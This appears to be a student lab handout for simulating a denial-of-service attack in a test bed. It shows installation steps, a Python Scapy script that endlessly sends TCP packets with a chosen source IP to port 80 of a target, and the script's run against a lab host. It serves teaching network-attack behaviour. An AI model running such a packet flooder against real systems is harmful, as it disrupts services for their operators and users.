DoS simulation guidance

with Python,Scapy

1. Test environment setting

	Attacker	Target
OS	Ubuntu	Window 10
Ip address	Test bed	Test bed
Attacking type	Ping flooding	
Attacking SW	Python Scapy	
	Text editor Nano	
Detecting SW		
Blocking SW		
Monitoring SW		

2. Exercise process

① Install python on Linux:

```
student@student-VirtualBox:~$ python3
Python 3.6.9 (default, Jan 26 2021, 15:33:00)
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>
```

② Install Scapy on Linux

```
student@student-VirtualBox:~$ sudo apt update
[sudo] password for student:
Hit:1 http://vn.archive.ubuntu.com/ubuntu bionic InRelease
Get:2 http://vn.archive.ubuntu.com/ubuntu bionic-updates InRelease [88.7 kB]
Get:3 http://vn.archive.ubuntu.com/ubuntu bionic-backports InRelease [83.3 kB]
Get:4 http://vn.archive.ubuntu.com/ubuntu bionic-updates/main i386 Packages [1,665 kB]
Get:5 http://vn.archive.ubuntu.com/ubuntu bionic-updates/main amd64 Packages [3,045 kB]
Get:6 http://vn.archive.ubuntu.com/ubuntu bionic-updates/main Translation-en [553 kB]
Get:7 http://vn.archive.ubuntu.com/ubuntu bionic-updates/main amd64 DEP-11 Metadata [297 kB]
Get:8 http://vn.archive.ubuntu.com/ubuntu bionic-updates/main DEP-11 48x48 Icons [83.0 kB]
Get:9 http://vn.archive.ubuntu.com/ubuntu bionic-updates/main DEP-11 64x64 Icons [154 kB]
Get:10 http://vn.archive.ubuntu.com/ubuntu bionic-updates/restricted amd64 Packages [1,347 kB]
Get:11 http://vn.archive.ubuntu.com/ubuntu bionic-updates/restricted i386 Packages [39.7 kB]
Get:12 http://vn.archive.ubuntu.com/ubuntu bionic-updates/restricted Translation-en [187 kB]
Get:13 http://vn.archive.ubuntu.com/ubuntu bionic-updates/universe amd64 Packages [1,914 kB]
Get:14 http://vn.archive.ubuntu.com/ubuntu bionic-updates/universe i386 Packages [1,663 kB]
Get:15 http://vn.archive.ubuntu.com/ubuntu bionic-updates/universe Translation-en [421 kB]
```

```
student@student-VirtualBox:~$ sudo apt install python3-scapy
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
  efibootmgr libegl1-mesa libfwup1 libllvm9 libwayland-egl1-mesa python3-click python3-colorama
Use 'sudo apt autoremove' to remove them.
The following additional packages will be installed:
  javascript-common libjs-jquery libjs-sphinxdoc libjs-underscore
Suggested packages:
  apache2 | lighttpd | httpd python3-matplotlib ipython3
The following NEW packages will be installed:
  javascript-common libjs-jquery libjs-sphinxdoc libjs-underscore python3-scapy
0 upgraded, 5 newly installed, 0 to remove and 397 not upgraded.
Need to get 1,193 kB of archives.
After this operation, 4,554 kB of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://vn.archive.ubuntu.com/ubuntu bionic/main amd64 javascript-common all 11 [6,066 B]
Get:2 http://vn.archive.ubuntu.com/ubuntu bionic/main amd64 libjs-jquery all 3.2.1-1 [152 kB]
```

③ Write your own DoS program using reference site example:

Copy the sample code from below, Single IP single port DoS attack

https://www.tutorialspoint.com/python_penetration_testing/python_penetration_testing_dos_and_ddos_attack.htm

The python script will help implement

Source(attacker) IP is single

Source(attacker) port is single

Sample code is single IP single port source

The function of logics

- A large number of packets are sent to web server by using single IP and from single port number.
- It means that the target system is facing on big volume of input packets, DoS attacking.
- It is a low-level attack which is used to check the behavior of the web server.

- Its implementation in Python can be done with the help of Scapy.

```
#!/bin/usr/env python
from scapy.all import *
source_IP = input("Enter IP adress of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number: "))
i = 1

while True:
        IP1 = IP(src = source_IP, dst = target_IP)
        TCP1 = TCP(sport = source_port, dport = 80)
        pkt = IP1 / TCP1
        send(pkt, inter = .001)

        print ("packet sent ", i)
        i = i + 1
```

④ For code input we will use editor Nano

Install Nano editor on Python with Name dos.py:

https://itsfoss.com/nano-editor-guide/

You can rename dos.py to your own dos file name on VM terminal

```
nano filename
```

① **Call Nano editor**

② **Copy code to input** **cntl c**

③ **Paste code into Nano editor** **cntl shift v**

④ **Exit and save** **cntl x**

Y

⑤ **Execute** **#test.py**

```
student@student-VirtualBox:~$ sudo nano dos.py
student@student-VirtualBox:~$
```

```
File  Edit  View  Search  Terminal  Help
  GNU nano 2.9.3                    dos.py
```

⑤ Input DoS code manually or paste into Nano screen

```
student@student-VirtualBox: ~
File  Edit  View  Search  Terminal  Help
  GNU nano 2.9.3                dos.py

#!/bin/usr/env python
from scapy.all import *
source_IP = input("Enter IP adress of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number: "))
i = 1

while True:
        IP1 = IP(src = source_IP, dst = target_IP)
        TCP1 = TCP(sport = source_port, dport = 80)
        pkt = IP1 / TCP1
        send(pkt, inter = .001)

        print ("packet sent ", i)
        i = i + 1


                    [ Wrote 15 lines ]
^G Get Help    ^O Write Out   ^W Where Is    ^K Cut Text
^X Exit        ^R Read File   ^\ Replace     ^U Uncut Text
```

Upon execution, the above script will ask for the following three things −

- IP address of source and target.
- IP address of source port number.
- It will then send a large number of packets to the server for checking its behavior.

⑥ Run dos.py:

```
student@student-VirtualBox:~$ ifconfig
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.0.2.15  netmask 255.255.255.0  broadcast 10.0.2.255
        inet6 fe80::d768:69e2:d465:ca9e  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:2c:99:aa  txqueuelen 1000  (Ethernet)
        RX packets 655  bytes 271405 (271.4 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 732  bytes 96587 (96.5 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

enp0s8: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.30.125.77  netmask 255.255.255.0  broadcast 172.30.125.255
        inet6 fe80::1247:cbd2:4fca:8632  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:97:4c:ed  txqueuelen 1000  (Ethernet)
        RX packets 555  bytes 34446 (34.4 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 193  bytes 30389 (30.3 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

```
Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Realtek PCIe FE Family Controller
   Physical Address. . . . . . . . . : 84-7B-EB-21-FE-03
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   IPv4 Address. . . . . . . . . . . : 172.30.125.34(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 172.30.125.1
   DNS Servers . . . . . . . . . . . : 172.18.27.2
                                       172.18.45.2
   NetBIOS over Tcpip. . . . . . . . : Enabled
```

```
student@student-VirtualBox:~$ sudo python3 dos.py
WARNING: No route found for IPv6 destination :: (no default route?). This affects only
 IPv6
Enter IP adress of Source: 172.30.125.77
Enter IP address of Target: 172.30.125.34
Enter Source Port Number: 80
.
Sent 1 packets.
packet sent  1
.
Sent 1 packets.
packet sent  2
.
Sent 1 packets.
packet sent  3
.
Sent 1 packets.
packet sent  4
.
Sent 1 packets.
packet sent  5
.
Sent 1 packets.
packet sent  6
.
Sent 1 packets.
packet sent  7
.
```

...

```
Sent 1 packets.
packet sent  1520
.
Sent 1 packets.
packet sent  1521
.
Sent 1 packets.
packet sent  1522
.
Sent 1 packets.
packet sent  1523
.
Sent 1 packets.
packet sent  1524
.
Sent 1 packets.
^CTraceback (most recent call last):
  File "dos.py", line 12, in <module>
    send(pkt, inter = .001)
  File "/usr/lib/python3/dist-packages/scapy/sendrecv.py", line 255, in send
    __gen_send(conf.L3socket(*args, **kargs), x, inter=inter, loop=loop, count=count,v
erbose=verbose, realtime=realtime)
KeyboardInterrupt
student@student-VirtualBox:~$ ^C
```

⑦ Explain your code logic

⑧ Explain the dos attacking result